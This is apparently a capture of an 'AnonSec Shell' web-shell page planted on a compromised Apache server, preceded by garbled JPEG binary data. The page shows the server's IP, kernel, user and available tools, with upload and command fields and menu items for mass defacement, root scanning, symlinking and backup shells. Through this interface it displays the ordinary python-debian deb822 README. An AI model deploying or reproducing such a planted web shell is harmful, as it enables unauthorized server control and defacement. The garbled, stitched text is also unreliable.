JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/disk_so_ralp/usr/share/doc/python-debian/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/disk_so_ralp/usr/share/doc/python-debian/README.deb822
deb822.py README
================

The Python deb822 aims to provide a dict-like interface to various rfc822-like
Debian data formats, like Packages/Sources, .changes/.dsc, pdiff Index files,
etc. The benefit is that deb822 knows about special fields that contain
whitespace separated sub-fields, and provides named access to them. For
example, the "Files" field in Source packages, which has three subfields, or
"Files" in .changes files, which has five. These are known as "multifields".

deb822 has no external dependencies, but can use python-apt if available to
parse the data, which gives a very significant performance boost when iterating
over big Packages files.

Key lookup in Deb822 objects and their multifields is case-insensitive, but the
original case is always preserved, e.g. when printing the object.


Classes
=======

Here is a list of the types deb822 knows about:

  * Deb822 (aliases: Packages) - base class with no multifields.

  * Dsc (aliases: Sources) - class to represent .dsc files / Sources paragraphs.

    - Multivalued fields:

      · Files: md5sum, size, name

  * Changes - class to represent a .changes file

    - Multivalued fields:

      · Files: md5sum, size, section, priority, name

  * PdiffIndex - class to represent a pdiff Index file

    - Multivalued fields:

      · SHA1-Current: SHA1, size
      · SHA1-History: SHA1, size, date
      · SHA1-Patches: SHA1, size, date


Input
=====

Deb822 objects are normally initialized from a file object, from which
at most one paragraph is read, or a string.

Alternatively, any sequence that returns one line of input at a time may
be used, e.g. an array of strings.

PGP signatures, if present, will be stripped.


Iteration
=========

All classes provide an "iter_paragraphs" class method to easily go over
each stanza in a file with multiple entries, like a Packages.gz file.
For example:

    with open('/mirror/debian/dists/sid/main/binary-i386/Sources') as f:
        for src in Sources.iter_paragraphs(f):
            print src['Package'], src['Version']

This method uses python-apt if available to parse the file, since it
significantly boosts performance. The downside, though, is that yielded
objects share storage, so they should never be kept accross iterations.
To prevent this behavior, pass a "shared_storage=False" keyword-argument
to the iter_paragraphs() function.


Sample usage (TODO: Improve)
============

   import deb822 

   with open('foo_1.1.dsc') as f:
       d = deb822.Dsc(f)
   source = d['Source']
   version = d['Version']

   for f in d['Files']:
       print 'Name:', f['name']
       print 'Size:', f['size']
       print 'MD5sum:', f['md5sum']

    # If we like, we can change fields
    d['Standards-Version'] = '3.7.2'

    # And then dump the new contents
    new_dsc = open('foo_1.1.dsc2', 'w')
    d.dump(new_dsc)
    new_dsc.close()

Anon7 - 2022
AnonSec Team